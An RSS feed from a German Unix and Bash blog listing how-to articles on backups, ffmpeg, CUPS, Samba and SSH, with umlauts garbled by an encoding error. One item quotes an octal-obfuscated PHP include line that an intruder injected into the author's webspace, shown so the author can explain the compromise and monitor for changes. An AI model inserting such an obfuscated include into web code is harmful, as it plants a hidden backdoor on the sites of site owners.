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		<title>apfel-z feed: Apfel Z - Unix und Bash</title>
		<link>http://www.apfel-z.net/</link>
		<description>Alle neuen Apfel Z - Unix und Bash-tangierenden Artikel von apfel-z.net</description>
		<lastBuildDate>Fri, 1 May 0:38:45 CET</lastBuildDate>
		<language>de-DE</language>
        <copyright>Copyright 2026 apfel-z.net</copyright>
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	<title>
		<![CDATA[Webserver-Backup mit Kommandozeilenprogramm sftp]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Webserver_Backup_mit_Kommandozeilenprogramm_sftp/</link>
	<pubDate><![CDATA[Mi CET]]></pubDate>
	<description><![CDATA[Eigentlich geht es hier nicht speziell um Webserver-Backups, sondern eher allgemein um die Verwendung des sftp-Kommandozeilenprogrammes.
In meinem ganz speziellen Fall wollte ich jedoch ein wÃ¶chentliches Backup aller PHP-Skripte & Co. von einem Webserver machen, da ich an den PHP-Skripten stÃ¤ndig arbeite und im Hintergrund gerne eine relativ aktuelle funktionierende Kopie haben mÃ¶chte.
Sucht man im Internet zu Hilfestellungen zum sftp-Kommandozeilenprogramm, endet die Hilfestellung meist mit dem Tipp, doch lieber scp oder rsync zu verwenden.<br/>Dies soll hier nicht der Fall sein, da in meinem Fall der betroffene Webserver jegliche Verbindung auÃer explizit sftp ausschlieÃt.
Mein Ziel:<br/>Ein kurzes Skript, das fast alle Dateien eines Verzeichnisses auf dem SFTP-Server herunterlÃ¤dt. Ich paar Dateien und Verzeichnisse mÃ¶chte ich allerdings vom Herunterladen ausschlieÃen, da sie Bilder, Dokumente und temporÃ¤re Daten enthalten, welche ich bei meiner Kopie nicht benÃ¶tige.<br/>Das schlieÃt die einfachste Verwendung von sftp schonmal aus...

]]></description>
</item>
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	<title>
		<![CDATA[Cold Spare Docker Container oder wie ich ein Docker Backup wieder herstelle]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Docker_Backup_wieder_herstellen/</link>
	<pubDate><![CDATA[Di CET]]></pubDate>
	<description><![CDATA[In diesem Artikel hatte ich beschrieben, wie ich ein Backup eines Docker-Daten-Volumes erstelle.
Allerdings ist in diesem Fall das Erstellen eines Backups nur die halbe Miete.<br/>Erstelle ich ein Backup meiner Fotosammlung und die Fotosammlung geht verloren...dann greife ich einfach auf das Backup zu.<br/>Aber was fange ich mit dem Backup des Docker-Daten-Volumes an, wenn zum Beispiel der Server den Geist aufgibt, auf dem Docker lÃ¤uft? Wie bekomme ich meinen Docker Container wieder zum Laufen inklusive der verwendeten Dateien?
Das Folgende habe ich an Hand meines Bitwarden/Vaultwarden-Containers beschrieben, wo alle wichtigen Daten in einer sqlite-Datenbank gespeichert werden, die in einem Docker-Daten-Volume liegt.<br>
]]></description>
</item>
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	<title>
		<![CDATA[PHP-Modul installieren, wenn man mehrere PHP-Versionen einsetzt]]>
	</title>
	<link>http://www.apfel-z.net/artikel/PHP_Modul_installieren_wenn_man_mehrere_PHP_Versionen_einsetzt/</link>
	<pubDate><![CDATA[Mi CET]]></pubDate>
	<description><![CDATA[Bei der Installation einer PHP-Extension hatte ich schon fast aufgegeben, weil mir die verschiedenen auf dem Server installierten PHP-Versionen einen Strich durch die Rechnung gemacht hatten.
Was man zu beachten hat, wenn auf einem Server mehrer PHP-Versionen installiert sind und ein paar hinzugewonnene Erkenntnisse meinerseits.

]]></description>
</item>
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	<title>
		<![CDATA[Datei per Kommandozeile zu Dropbox hochladen und Download-Link generieren]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Datei_per_Kommandozeile_zu_Dropbox_hochladen_und_Download_Link_generieren/</link>
	<pubDate><![CDATA[Fr CET]]></pubDate>
	<description><![CDATA[Dropbox hat an sich ja ein praktisches Programm, welches einen Ordner auf der Festplatte stÃ¤ndig mit dem Dropbox-Server synchronisiert.<br/>Allerdings benÃ¶tige ich selbst kein stÃ¤ndig synchronisierendes Programm und finde den Dropbox-Client inzwischen etwas zu Ã¼berladen. Noch dazu nervt, dass es dann mal wieder nicht funktioniert, wenn man das Programm nicht upgedatet hat oder das Programm sich nicht mehr updaten lÃ¤sst, wenn Dropbox meint, dass das Betriebssystem zu alt wÃ¤re.
Ich bin auf einige Bibliotheken gestoÃen, die auf der Dropbox-API aufbauen. Aber will man einfach nur mal eine Datei auf den Dropbox-Server hochladen, um sie von wo anders wieder herunterladen oder jemandem einen Download-Link senden zu kÃ¶nnen, geht das auch ganz einfach via curl.

]]></description>
</item>
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	<title>
		<![CDATA[SpaÃ mit CUPS: DHL- und Postetiketten auf Etikettendrucker ausdrucken]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Spa_mit_CUPS_DHL_und_Postetiketten_auf_Etikettendrucker_ausdrucken/</link>
	<pubDate><![CDATA[Do CET]]></pubDate>
	<description><![CDATA[DHL-Paketetiketten und Briefmarken der Post online zu kaufen, ist eine (mehr oder weniger) praktische Sache. Weniger praktisch ist die "letzte Meile", bis die Frankierung dann auf Paket oder Brief ist: Ausdrucken, ausschneiden, mit Kleber einschmieren oder mit zig Streifen Tesafilm befestigen.
Praktisch, wenn man einen Etikettendrucker zur Hand hat, wie etwa jenen hier.<br/>Zusammen mit 100x200mm-Etiketten fÃ¼r DHL-Paketmarken und 76x51-Etiketten fÃ¼r Briefmarken ist die Frankierung nun ein Kinderspiel, besonders nachdem ich mir zwei virtuelle CUPS-Drucker erstellt habe, die die heruntergeladenen PDF-Etiketten im DIN A4-Format auf die passende EtikettgrÃ¶Ãe beschneiden.
Das heiÃt: Paketmarke oder Briefmarke herunterladen, PDF Ã¶ffnen und auf meinem virtuellen Drucker "DHL" oder "Briefmarke" ausdrucken. Sofern die richtigen Etiketten eingelegt sind, kommt alles passend raus.

]]></description>
</item>
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	<title>
		<![CDATA[Fritz!Box API via curl/wget (ohne SOAP/TR-064)]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Fritz_Box_API_via_curl_wget/</link>
	<pubDate><![CDATA[Di CET]]></pubDate>
	<description><![CDATA[WÃ¤hrend ich in diesem Artikel ein paar Erkenntnisse Ã¼ber die offizielle Fritz!Box-API festgehalten hatte, auf welche ich via PHP zugegriffen habe, mÃ¶chte ich hier noch einen weiteren Weg nennen, der direkt auf das Web-UI der Fritz!Box zugreift, wie man sie selbst im Browser Ã¶ffnet.
Auf diesem Wege kann man ggf. noch ein paar weitere Dinge abgreifen, die Ã¼ber die offizielle SOAP-Schnittstelle nicht mÃ¶glich sind (ich vermisse dort zum Beispiel das gesammte Ereignis-Log und habe Probleme mit der Download-Statistik), allerdings stellt sich die Frage, ob der Zugriff nicht bei irgendeinem Update entfÃ¤llt...

]]></description>
</item>
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	<title>
		<![CDATA[Film schneiden mit ffmpeg]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Film_schneiden_mit_ffmpeg/</link>
	<pubDate><![CDATA[Do CET]]></pubDate>
	<description><![CDATA[Eine Antwort darauf, wie man aus einer Video-Datei mit Hilfe von ffmpeg einen Teil herausschneidet, ist im Internet schnell gefunden:
Hier zum Beispiel werden ab Sekunde 30 die folgenden 10 Sekunden hinausgeschnitten und in eine neue Datei geschrieben:
ffmpeg -ss 30 -i input.mp4 -c copy -t 10 output.mp4
Bei lÃ¤ngeren Videos gibt es, um die Bearbeitung zu beschleunigen, wohl noch den Tipp mit einer -ss-Option vor der Eingabedatei, "schnell vorzuspulen" und dann mit einer weiteren -ss-Option nach der Eingabedatei den Startzeitpunkt etwas genauer zu setzen, als es die erste Option alleine tun wÃ¼rde.<br/>Der Tipp kÃ¶nnte aber wohl auch ab ffmpeg 2.1 obsolet sein.
Zum Beispiel schnell zur 8. Minute "vorspulen", dann nach einer weiteren Minute (ab der 9. Minute) 1 Minute aus dem Video extrahieren:
ffmpeg -ss 00:08:00 -i input.mp4 -ss 00:01:00 -t 00:01:00 -c copy output.mp4
Ich wollte allerdings eine Video-Datei in mehrere Teile zerlegen (anstatt nur ein Teil hinauszuschneiden) und habe mir dafÃ¼r eine Bash-Funktion fÃ¼r mein .bash_profile geschrieben.
Die Installation von ffmpeg und den notwendigen Codecs ist natÃ¼rlich obligatorisch.

]]></description>
</item>
<item>
	<title>
		<![CDATA[FTP-Server auf Ãnderungen prÃ¼fen]]>
	</title>
	<link>http://www.apfel-z.net/artikel/FTP_Server_auf_nderungen_pr_fen/</link>
	<pubDate><![CDATA[Do CET]]></pubDate>
	<description><![CDATA[Irgend ein Arsch wurschtelt in letzter Zeit immer in meinem Webspace rum. VerÃ¤ndert index.php-Skripte und fÃ¼gt in jedes Verzeichnis eine index.php hinzu (sofern keine im Verzeichnis vorhanden war).
Inhalt (bzw. was hinzugefÃ¼gt wurde) ist immer nur ein kryptisches (leicht geÃ¤ndert, da es auf meinen tatsÃ¤chlichen Webspace verweist)
@include &quot;\057ho\155e/\163tr\141to\057ht\164p/\160re\155iu\155/r\151d/\0684/\0621/\06112\06912\063/h\164do\143s/fo\156t/\0569d\070c3\142f2\056ic\157&quot;;
Wenn man die \xxx-Octal-UTF8-bytes zu ASCII-Zeichen umwandelt, sieht man, was fÃ¼r ein Pfad wirklich dahinter steckt.<br/>Eine Datei .9d8c3bf2.ico konnte ich allerdings nicht finden
Wobei ich nicht feststellen kann, dass einer HTML-Seite letztendlich wirklich weiterer Code hinzugefÃ¼gt wird. Die index.php, die nur dieses Include enthalten, sind bei einem Test-Aufruf einfach leer.
Beunruhigend ist, dass nach einem Entfernen und Ãndern der FTP-Zugangsdaten nach einem Tag sofort wieder alle Spam-Dateien zurÃ¼ck sind.<br/>Ob es eine SicherheitslÃ¼cke der Highcharts oder des jQuery File Upload ist, muss ich noch recherchieren.<br/>Ich habe zwar noch weitere MaÃnahmen zum "Dichtmachen" meines Webspaces ergriffen, aber zwecks Ãberwachung wollte ich eine tÃ¤gliche Kontrolle, ob sich die Dateien in meinem Webspace geÃ¤ndert haben.

]]></description>
</item>
<item>
	<title>
		<![CDATA[E-Mail mit Anhang von Kommandozeile aus versenden]]>
	</title>
	<link>http://www.apfel-z.net/artikel/E_Mail_mit_Anhang_von_Kommandozeile_aus_versenden/</link>
	<pubDate><![CDATA[Mi CET]]></pubDate>
	<description><![CDATA[Ich hatte hier zwar schon einmal einen Artikel geschrieben, wie man bequem per Kommandozeile Dateien in die Dropbox verfrachten kann, so dass man sich von fern Ã¼ber die Dropbox-Homepage oder einen anderen Computer die Datei abholen kann.
Allerdings will man Dropbox vielleicht nicht unbedingt nutzen oder stellt fest, dass das Dropbox-Programm zu Hause wohl nicht aktiv/verbunden ist und die Datei einfach nicht hochgeladen werden will.
NatÃ¼rlich kann man (bei kleineren Dateien) auch den direkten Weg gehen und sich die Datei(en) einfach selbst per E-Mail zusenden lassen.<br/>
]]></description>
</item>
<item>
	<title>
		<![CDATA[Hotfolder, um PDFs auszudrucken]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Hotfolder_um_PDFs_auszudrucken/</link>
	<pubDate><![CDATA[Mo CET]]></pubDate>
	<description><![CDATA[Wenn ich im BÃ¼ro mal etwas ausdrucken muss, dann ist es in den meisten ein FÃ¤llen ein PDF, welches ich erst einmal mit der Vorschau oder dem Acrobat Ã¶ffnen muss, dann den Druckdialog Ã¶ffnen und auswÃ¤hlen, ob Schwarz/WeiÃ oder farbig und ob A3 oder A4. Vielleicht noch einen Haken setzen, dass duplex gedruckt werden soll.<br/>Viel schneller geht das mit einem Hotfolder (bzw. mehreren Hotfolder je nach Farbigkeit und Format), in welchen ich das PDF einfach reinschmeiÃe und mich um alles andere nicht mehr kÃ¼mmern muss.

]]></description>
</item>
<item>
	<title>
		<![CDATA[CUPS-Drucker umbenennen/duplizieren]]>
	</title>
	<link>http://www.apfel-z.net/artikel/CUPS_Drucker_umbenennen_duplizieren/</link>
	<pubDate><![CDATA[Do CET]]></pubDate>
	<description><![CDATA[Was tun, wenn man unter UNIX/MacOS einen Drucker umbenennen oder mitsamt aller Einstellungen duplizieren mÃ¶chte?<br/>Ersteres geht in einem System mit GUI problemlos, ohne GUI kam ich hier Ã¼ber das CUPS-Web-Interface https://IP:631 nicht weiter.

]]></description>
</item>
<item>
	<title>
		<![CDATA[WD My Cloud: Zugriff auf WebUI aufbohren]]>
	</title>
	<link>http://www.apfel-z.net/artikel/WD_My_Cloud_Zugriff_auf_WebUI_aufbohren/</link>
	<pubDate><![CDATA[Sa CET]]></pubDate>
	<description><![CDATA[Meinen Eltern hatte ich mal eine Western Digital MyCloud auf's Auge gedrÃ¼ckt, die bei ihnen im Netzwerk hÃ¤ngt und die wie in diesem Artikel beschrieben ein Fernbackup meines eigenen Backups hÃ¤lt.
Ich wunderte mich immer wieder, wieso ich von zu Hause aus Ã¼ber die bestehende VPN-Verbindung nicht auf das Web-Interface der Festplatte zugreifen kann und dachte jedes Mal, das blÃ¶de Teil hÃ¤tte sich schon wieder aufgehÃ¤ngt.
Als ich dann doch mal die Muse hatte, Tante Google zu fragen, stieÃ ich recht schnell darauf, dass das Web-UI auf das Subnetz beschrÃ¤nkt ist, in dem die Platte selbst hÃ¤ngt. Da ich Ã¼ber die VPN-Verbindung allerdings in einem anderen Subnetz bin, werde ich immer von einem You don't have permission to access /UI on this server. begrÃ¼Ãt, sobald ich die Adresse der Platte im Browser eingebe.

]]></description>
</item>
<item>
	<title>
		<![CDATA[Ubuntu Server: Speicherplatz]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Ubuntu_Server_Speicherplatz/</link>
	<pubDate><![CDATA[Mo CET]]></pubDate>
	<description><![CDATA[Letztens fÃ¼hrte ich an meinem Ubuntu Server ein Update durch und bekam auf einmal einen Haufen Fehlermeldungen, dass kein Speicherplatz mehr vorhanden wÃ¤re
gzip: stdout: No space left on device

...was mich allerdings sehr verwunderte, da laut WebMin gerade mal 7 von 47 GB Festplattenspeicher genutzt sind.
Aber bei den ganzen Partitionen unter Linux ist nun mal nicht so einfach zu sagen, wo wie viel Speicherplatz frei ist und wo der ganze Speicherplatz denn hin ist...<br/>(zumindest, wenn man wie ich ansonsten eher im Mac-Unix-mit-GUI-Bereich unterwegs ist)

]]></description>
</item>
<item>
	<title>
		<![CDATA[Unix, Samba und Dateiberechtigungen]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Unix_Samba_und_Dateiberechtigungen/</link>
	<pubDate><![CDATA[Fr CET]]></pubDate>
	<description><![CDATA[Eine Samba-Freigabe unter Unix einrichten...das kann schnell gehen, man kann damit aber auch einen Arbeitstag verbraten.<br/>In meinem Fall war die Samba-Freigabe an sich recht schnell eingerichtet, das Ergebnis der von anderen Computern rÃ¼berkopierten Daten allerdings weitab von dem, was ich mir gewÃ¼nscht hatte: Alle Dateien, die ich von einem Mac-Rechner Ã¼ber das Netzwerk auf den Unix-Server kopiert hatten, hatten auf dem Unix-Server &ndash; egal, was man machte &ndash; die Berechtigung 644.
Im Folgenden ein paar Erkenntnisse, die ich Ã¼ber Samba gesammelt hatte. Wer sich auch schon mit create mode, create mask, force create modeÂ & Co abgemÃ¼ht hat, sich ganz sicher ist, dass er weiÃ, was er hier tat und trotzdem auf dem Unix-Server Dateien mit "falscher" Berechtigung hat, mÃ¶ge gleich zur Erkenntnis Nummer 4 "unix extensions" scrollen.

]]></description>
</item>
<item>
	<title>
		<![CDATA[Allrounder CUPS: PDF-Drucker erstellen]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Allrounder_CUPS_PDF_Drucker_erstellen/</link>
	<pubDate><![CDATA[Mi CET]]></pubDate>
	<description><![CDATA[Ich bin vor einigen Jahren schon auf die MÃ¶glichkeit gestoÃen, mit der Installation von CUPS-PDF einen virtuellen PDF-Drucker anzulegen.
Interessanterweise ist CUPS, das UNIX-Drucksystem, flexibler, als ich erst dachte: Auch ohne Installation weiterer Software (von GhostScript mal abgesehen) lassen sich DruckauftrÃ¤ge in PDF wandeln oder sonstige Skripte anstoÃen.

]]></description>
</item>
<item>
	<title>
		<![CDATA[Ubuntu Server einrichten]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Ubuntu_Server_einrichten/</link>
	<pubDate><![CDATA[Mo CET]]></pubDate>
	<description><![CDATA[In meiner Firma verrichten schon seit gut 10 Jahren zwei alte Macs ihren Dienst als Server. Zwar schlagen sie sich immer noch zuverlÃ¤ssig und wacker, aber ich wollte sie lieber ersetzen, bevor sie den Abgang machen.<br/>Ersatz ist ein virtueller Ubuntu Server in Version 16.04, den ich frisch von unserer IT installiert bekommen habe.
Im Folgenden mÃ¶chte ich mehr fÃ¼r mich selbst alle Schritte dokumentieren, die ich ausgefÃ¼hrt hatte, um aus dem frisch installierten Server meinen fÃ¼r die Praxis benÃ¶tigten xDaemon-Server zu erstellen.<br/>Da der Ubuntu Server standardmÃ¤Ãig Ã¼ber keinen Desktop/UI verfÃ¼gt, erfolgen alle Schritte von meinem Mac aus Ã¼ber einen ssh-Zugriff oder hier und da Ã¼ber ein Web-Interface.

]]></description>
</item>
<item>
	<title>
		<![CDATA[PDF-Passwortschutz entfernen (mit bekanntem Passwort)]]>
	</title>
	<link>http://www.apfel-z.net/artikel/PDF_Passwortschutz_entfernen/</link>
	<pubDate><![CDATA[Di CET]]></pubDate>
	<description><![CDATA[Monatlich bekomme ich von meiner Versicherung Vertragsdokumente per E-Mail zugesandt. Die PDFs sind passwortgeschÃ¼tzt und lassen sich ohne Passworteingabe nicht Ã¶ffnen.
Dies ist einerseits eine eine tolle Geste, da wie allgemein bekannt die Ãbermittlung der Daten per E-Mail nicht unbedingt "sicher" ist. Andererseits mÃ¶chte ich diesen PDF-Passwortschutz als "lÃ¤ppisch" bezeichnen und da ich jedes Dokument in meinem Archiv ablege und ab und an etwas nachschauen/vergleichen will, ist mir schon der eine oder andere Fluch von den Lippen gekommen, als ich immer wieder dieses Passwort eingeben musste.
Da sich das PDF nach Eingabe des Passworts nicht ausdrucken oder neu abspeichern lÃ¤sst, war hier ghostscript mein Freund und Helfer.<br/>Alle bereits erhaltenen Dokumente und alle nun neu dazu kommenden Dokumente "konvertiere" ich mit folgendem Befehl in ein passwortfreies PDF. Hilft natÃ¼rlich nur, wenn man das Passwort auch kennt...

gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sPDFPassword=&lt;Passwort der Datei&gt; -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=&lt;Neuer Dateiname&gt; &lt;PasswortgeschÃ¼tztes PDF&gt;
]]></description>
</item>
<item>
	<title>
		<![CDATA[RTSP-Stream in MJPEG-Stream umwandeln]]>
	</title>
	<link>http://www.apfel-z.net/artikel/RTSP_Stream_in_MJPEG_Stream_umwandeln/</link>
	<pubDate><![CDATA[So CET]]></pubDate>
	<description><![CDATA[Da ich  in diesem Artikel gerade beschrieben hatte, wie man aus einem RTSP-Stream sich selbst aktualisierende Einzelbilder macht, der VollstÃ¤ndigkeit halber noch kurz angesprochen, wie man einen RTSP-Stream in einen anderen Stream (z.B. MPEG) konvertiert.
Dazu notwendig ist ffserver welcher sich wohl unter gewissen UmstÃ¤nden mit ffmpeg zusammen installiert. Auf einem von zwei Macs mit installiertem ffmpeg war ffserver bei mir vorhanden. <br/>Fragt mich aber bitte nicht, durch welche Installations-UmstÃ¤nde es da drauf kam. Auf jeden Fall kann ich keine separate ffserver-Installation finden.

]]></description>
</item>
<item>
	<title>
		<![CDATA[RTSP-Stream in Einzelbilder umwandeln]]>
	</title>
	<link>http://www.apfel-z.net/artikel/RTSP_Stream_in_Einzelbilder_umwandeln/</link>
	<pubDate><![CDATA[So CET]]></pubDate>
	<description><![CDATA[Ein Freund hatte sich eine neue Webcam, die TRENDnet TV-IP310PI, zur AuÃen-Ãberwachung seines GrundstÃ¼ckes gekauft.<br/>Das Gute: Sie Ã¼bertrÃ¤gt in HD, das Schlechte: Zugriff nur in Form eines RTSP-Streams. Entweder Ã¼ber ein extra Programm wie zum Beispiel VLC oder mit einem Browser-Plugin.<br/>Nicht gerade sehr praktisch, wenn man mal schnell von unterwegs mit dem Handy einen Ãberblick bekommen will.
Ein einzelnes JPEG, welches sich all paar Sekunden aktualisiert, wÃ¼rde ihm schon ausreichen.<br/>Kein all zu groÃes Problem dank ffmpeg.

]]></description>
</item>
<item>
	<title>
		<![CDATA[Its (Image)Magick!]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Its_Image_Magick/</link>
	<pubDate><![CDATA[Fr CET]]></pubDate>
	<description><![CDATA[Als Mac-User war ich in Sachen Bild-Bearbeitung und -Konvertierung schon immer etwas verwÃ¶hnt. Unglaublich, dass andere mit der Grundausstattung ihres Computers Bilder nur anschauen und hÃ¶chstens noch um 90Â° drehen kÃ¶nnen.
Das zweitwichtigste Bildverarbtitungstool neben Photoshop, das nicht zur Grundausstattung eines neuen Rechners gehÃ¶rt, ist fÃ¼r mich das Kommandozeilentool ImageMagick, mit dem einige Dinge &ndash; gerade, wenn es um Stapelverarbeitung geht &ndash; viel schneller erledigt sind, als mit Photoshop.
Im Folgenden mÃ¶chte ich weniger auf die Installation und Grundlagen von ImageMagick eingehen, da ImageMagick sowieso dermaÃen vielseitig ist, das eine Grundlagenbeschreibung eher einem Handbuch nahe kommen wÃ¼rde.<br/>Eher mÃ¶chte ich meine oft verwendeten Befehle und Argumente sammeln, da ich diese von Zeit zu Zeit immer wieder neu ergoogeln muss.

]]></description>
</item>
<item>
	<title>
		<![CDATA[Perl-Snippet: Text einer Datei in Variable Ã¼bernehmen]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Perl_Snippet_Text_einer_Datei_in_Variable_bernehmen/</link>
	<pubDate><![CDATA[Mi CET]]></pubDate>
	<description><![CDATA[Die Ãberschrift sagt ja eigentlich schon alles.<br/>Immer wieder mal von mir gesucht...

my $string = do &#123;<br />
&nbsp; &nbsp; local $/ = undef;<br />
&nbsp; &nbsp; open my $fh, &quot;&lt;&quot;, &quot;/path/to/file.txt&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; or die &quot;Konnte Datei-Inahlt nicht analysieren: $!&quot;;<br />
&nbsp; &nbsp; &lt;$fh&gt;;<br />
&nbsp; &nbsp; &#125;; 
]]></description>
</item>
<item>
	<title>
		<![CDATA[Neuen Benutzer anlegen]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Neuen_Benutzer_anlegen/</link>
	<pubDate><![CDATA[Mi CET]]></pubDate>
	<description><![CDATA[Ein neuer Benutzer anzulegen, geht unter Linux um einiges einfacher von statten, als unter MacOS X (ggf. sudo voranstellen):<br/>adduser apfelz
Danach &ndash; wo gewÃ¼nscht &ndash; die folgenden Fragen zum neuen Benutzer beantworten:
Enter the new value, or press ENTER for the default<br />
&nbsp; &nbsp; &nbsp; &nbsp; Full Name &#91;&#93;: John Doe<br />
&nbsp; &nbsp; &nbsp; &nbsp; Room Number &#91;&#93;: <br />
&nbsp; &nbsp; &nbsp; &nbsp; Work Phone &#91;&#93;: <br />
&nbsp; &nbsp; &nbsp; &nbsp; Home Phone &#91;&#93;: <br />
&nbsp; &nbsp; &nbsp; &nbsp; Other &#91;&#93;: 

Soll der neue Benutzer root-Rechte haben? Wenn ja, dann sudo adduser apfelz sudo
Etwas umfangreicher, aber nicht so umstÃ¤ndliche, wie unter MacOS X wird es, wenn man noch ein paar mehr Informationen wie Heimverzeichnis und Passwort mitgeben will:
adduser apfelz <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -c &lt;Kommentar, z.B. voller Name&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -m # Heimverzeichnis unter /home/apfelz erstellen<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -d &lt;zu /home/apfelz abweichendes Heimverzeichnis&gt; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -g &lt;Gruppen-Name oder -ID&gt; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -G &lt;Weitere SekundÃ¤r-Gruppen, durch Komma getrennt&gt; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -s &lt;Zur Standard-Shell abweichende Shell&gt;<br />
passwd apfelz # Passwort fÃ¼r Benutzer-Account setzen

Der Befehl useradd -D zeigt Ã¼brigens alle Standardwerte an, die gesetzt werden, wenn man adduser ohne weitere Attribute ausfÃ¼hrt.
Bei MacOS X gestaltet sind die Sache leider um einiges umfangreicher.

]]></description>
</item>
<item>
	<title>
		<![CDATA[Unterschied zweier Dateien]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Unterschied_zweier_Dateien/</link>
	<pubDate><![CDATA[Mo CET]]></pubDate>
	<description><![CDATA[Aus der Reihe "Bash Oneliners" (nicht: "Bash Onliners" *g*):
Dass man mit dem Befehl diff den Unterschied zweier Text-Dateien anzeigen kann, dÃ¼rfte gelÃ¤ufig sein. 
Letztens hatte ich aber zwei Text-Dateien vor mir, wo bei einer Datei eine Zeile fehlte, die in der anderen vorhanden war. Die Ausgabe bei diff ist da nicht so hilfreich.
Hilfreich war stattdessen folgender Befehl:
grep -vxFf datei1.txt datei2.txt

Wobei datei2.txtÂ diejenige sein sollte, die mehr EintrÃ¤ge hat.
UmstÃ¤ndlicher geht's natÃ¼rlich auch mit

diff datei1.txt datei2.txt | grep '^&gt;' | sed -e s/..//
]]></description>
</item>
<item>
	<title>
		<![CDATA[SSH-Authentifizierung durch SchlÃ¼ssel]]>
	</title>
	<link>http://www.apfel-z.net/artikel/SH_Authentifizierung_durch_Schl_ssel/</link>
	<pubDate><![CDATA[Do CET]]></pubDate>
	<description><![CDATA[FÃ¼r Bash-User eine altbekannte Sache, doch muss ich selbst immer wieder nachschlagen, wie's denn nochmals genau geht...deshalb nun eine Zusammenfassung auf meiner eigenen Seite, dass ich nicht jedes Mal auf's Neue Google belÃ¤stigen muss.

Worum geht's? 
Per Secure-Shell kann man sich auf die Kommandozeile eines anderen Unix-Rechners (im Folgenden: der Server) einloggen. Dazu ist die Eingabe des Benutzer-Passworts nÃ¶tig. Dies kann man sich ersparen, wenn man auf Client und Server eine SchlÃ¼ssel-Datei ablegt.

]]></description>
</item>
<item>
	<title>
		<![CDATA[Shell Kniffe]]>
	</title>
	<link>http://www.apfel-z.net/artikel/Shell_Kniffe/</link>
	<pubDate><![CDATA[Di CET]]></pubDate>
	<description><![CDATA[Mancher Power-User mag sich wahrscheinlich fragen, ob ich denn nicht ganz bescheuert bin, Ã¼ber solche essentielle Dinge zu schreiben, aber vielleicht ist das eine oder andere noch fÃ¼r jemanden Neuland und ich selbst muss immer wieder bei manchen Funktionen, die ich nur selten benÃ¶tige, auf meinem Spickzettel nachschauen, wie das denn nochmals genau war.
Im Folgenden einerseits ein paar nÃ¼tzliche Shell-Befehle fÃ¼r den tÃ¤glichen Gebrauch, Tipps, wie man die Shell etwas an seine Gewohnheiten anpasst und wie man aus dem "Herr der Shell" (das Terminal) noch etwas herauskitzelt.

]]></description>
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